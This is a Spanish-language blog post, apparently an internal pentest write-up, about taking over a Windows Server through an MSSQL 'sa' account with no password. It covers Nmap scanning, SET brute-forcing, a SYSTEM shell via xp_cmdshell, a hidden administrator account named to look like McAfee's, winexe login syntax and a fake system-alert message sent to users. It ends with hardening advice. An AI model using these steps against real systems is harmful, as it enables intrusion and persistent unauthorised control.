MSSql, XP_CmdShell & SET

   En esta entrada veremos como una instalación "descuidada" o prescindir de contraseñas seguras en nuestros servicios, pueden crear un pasillo con una bonita y cómoda alfombra roja para un potencial atacante.   

   Hace unos días me encontraba haciendo una auditoría interna en una empresa de la cual conozco el uso de varios equipos con Windows Server + MSSql, por lo que una de las primeras cosas que me vino a la mente fue 1433, un flash que me recordó aquel número 42 que debía representar algo tan abstracto como el sentido de la vida en "Guía del Autoestopista Galáctico", pero tranquilos, en este caso todo queda más claro que en la ficción de Douglas Adams.

   Para ir avanzando, diré que las herramientas con las que contaba eran numerosas, pero sólo hizo falta el uso de tres grandes desarrollos para llegar a tener absoluto control sobre el sistema.  Esas tres herramientas son:

Nmap - Uno de los imprescindibles, que novedad... :·)
SET - Social Engineering Toolkit (Download)
Winexe - Desarrollo similar a PSExec, pero para entornos *NIX.

   Todo el proceso se realizó desde la distribución Back-Track 5 R2, en una tarde lluviosa de Agosto, allá por el...

   Lo primero que se hizo fue un escaneo del puerto 1433 a toda la red, a ver en que equipos ese puerto estaba abierto, para poder tener un trocito de carnaza de donde tirar, hasta que arrancásemos un usuario Administrador de las entrañas de alguna de aquellas máquinas, pues bien, coge una lata fría de redbull del frigo y al lío:

   Como muestra la imagen, hay varios equipos con el servicio de Microsoft SQL activo, y funcionando en el puerto 1433, nosotros nos centraremos en el que está enmarcado en rojo, vamos a llamarle 231, por acortar (No es que los otros tres no sean vulnerables, que si lo son, valla chapuza eh?...).  Pues bien, vamos a ver si a nuestro amigo 231 lo han dotado de alguna medida de seguridad "insensata" como ponerle una contraseña alfanumérica y con simbolitos tal que jQs&9jd44_d(*2.  En éste punto es donde entra en juego el estupendo desarrollo en Python de Social Engineering Toolkit (aka SET).  

   SET es una herramienta que tiene un montón de funcionalidades para la explotación de sistemas, muchas de ellas trabajándose a uno de los mayores puntos de fallo en sistemas de seguridad, que es ese que está entre la silla y el monitor, de ahí su nombre (Kit de Herramientas de Ingeniería Social, mas o menos...), pero también tiene algunos ataques "directos", en nuestro caso utilizaremos uno de estos ataques, el denominado 'Microsoft SQL Bruter' para, mediante un usuario conocido (en MSSql, por defecto, el usuario administrador es 'sa') y un diccionario de contraseñas, podamos conseguir un par usuario-clave válido.

                                 

   SET tiene un bonito interfaz interactivo, limpio y fácil de usar.  Para pasar a la acción de una vez por todas, elegiremos la opción 2, Fast-Track Penetration Testing (que mal suena esto en Castellano de toda la vida...).

   Elegimos el punto número 1, ataque de fuerza bruta a MSSql y en la siguiente pantalla "Scan and Attack MSSQL".  Lo próximo que nos pide es si queremos que el proceso de fuerza bruta se realice sobre un objetivo en particular, o si tenemos una lista de objetivos en un archivo de texto.  Como nosotros ya tenemos a nuestro "elegido", al que bautizamos como 231, pues elegimos la opción número 1 como se muestra en la siguiente imagen:

   Ahora rellenamos los campos que nos pide, que son: la IP, el puerto y un diccionario, en mi caso solo he puesto la IP, el puerto es el 1433 por defecto y he usado el diccionario por defecto que trae SET (muy escaso por cierto, pero efectivo en esta situación), y el resultado es:

   BINGO!! El usuario 'sa' de MSSql no tiene contraseña!, bien, ¿y ahora qué?, pues ahora elegimos la sesión a la que SET dice que puede traernos una línea de comandos, osea la 1, y tras darle un toquecito al enter y elegir de entre las siguientes tres opciones la tercera 'Standard Windows Shell', veremos esto:

   ¿Y que es eso de 'xp_cmdshell'? Pues es un recurso de MSSql para poder ejecutar comandos del sistema, si quieres saber más, échale un vistazo a éste apartado de las TechNet de Microsoft.

   Bien, ahora vamos a probar hasta donde podemos llegar, pero lo primero, y aunque suene algo filosófico, me gustaría saber quién soy, así que se lo voy a preguntar a 231, que fijo él lo sabe:

  NT AUTORITY\SYSTEM !!! hemos heredado los privilegios con los que está corriendo MSSql en la máquina, y estos son nada más y nada menos que los de, en un entorno técnico los denominamos: "The Fucking Boss", permisos TFB así, sin contraseñas, y con un tiempo invertido en el proceso ridículo para el punto en el que nos encontramos .

   Pero no todo podían ser buenas noticias, esta shell está bastante limitada, no puedo navegar de forma interactiva por el sistema de archivos con 'cd..', aunque si puedo utilizar rutas completas para hacer un dir 'dir C:\Documents and Settings', tampoco puedo utilizar el comando 'ftp.exe' de forma interactiva ni muchas mas cosas, por lo que me encuentro levemente enjaulado en 'C:\Windows\System32'.

   En éste punto podríamos pensar en subir un Troyano, RAT, o Backdoor mediante la automatización de un script para el comando 'ftp' (ftp -s:comandos.txt <ip_servidor_ftp>), pero nos encontraríamos con el problema de un muy probable antivirus hambriento de sangre de Troyano, ¿entonces que?, seamos mas sutiles.  Como ya hemos dicho, tenemos permisos TFB, y una línea de comandos, aunque algo limitada, perfectamente funcional.  Vamos a crear un usuario y pasarle al grupo de Administradores.

   En la imagen anterior vemos el proceso de creación del usuario.  Como hemos visto que existe un usuario llamado McAfeeMVSUser, entonces existe la sospecha de que el equipo utiliza una suit de seguridad de McAfee, por lo tanto y para que "no se note" al nuevo usuario lo hemos bautizado como "McAfistro" :·).  A McAfistro le asignamos la contraseña 123456 y vemos como al escribir de nuevo el comando 'net user' se ha creado sin problemas.  Ahora sólo nos queda añadir a nuestro nuevo usuario al grupo de administradores del sistema, lo cual vemos en la siguiente imagen:

   Vale, pues ya hemos acabado con 'xp_cmdshell' y con 'SET', tipeamos "exit" y volvemos a nuestra propia shell, desde dónde trataremos de conseguir una línea de comandos completamente funcional haciendo login con el nuevo usuario que hemos creado.

   Aquí es donde entra en juego Winexe, programa similar a PSExec, pero en este caso funciona desde entornos *NIX, y mas concretamente en nuestro escenario, Linux.  La sintaxis de winexe es:

$winexe  --user=<usuario>  --password=<contraseña>  //IP_del_equipo  <Programa_a_ejecutar

   Ahora, podemos ver como lo utilizamos en nuestro pentest en particular:

   En la cabezera enmarcada en verde, podemos ver como nos da la bienvenida un Windows Server 2003 SBS (ese dato no se saca de esta captura, pero si habéis estado atentos, lo podéis deducir de alguna de las anteriores...), luego podemos ver el nombre del equipo y el usuario con el que estamos conectados.  También se ve como podemos movernos tranquílamente por el árbol de directorios, como si de una sesión de telnet se tratara, y como se puede obtener información de la red con ipconfig.

   Ahora entra en juego la imaginación o las intenciones de cada uno, yo que soy malo que te cagas, intenté un pequeño truquillo, que fue mandar un mensaje a todos los usuarios conectados con el comando 'msg', tal que así:

msg * [ Microsoft Alert: El sistema se ha recalentado, por favor, apague el equipo ]

   Pero no coló...

CONCLUSIONES:

1) Si no vas a utilizar xp_cmdshell, deshabilítalo.

2) Si SÍ lo vas a utilizar, haz incapié en que los usuarios de MSSql (todos) tengan una contraseña lo suficientemente fuerte como para hacer frente a un ataque de fuerza bruta.

3) Realiza o contrata una auditoría periódica de tus sistemas, un fallo de éste tipo te puede hacer perder mucho tiempo y dinero si se topa con él la persona equivocada.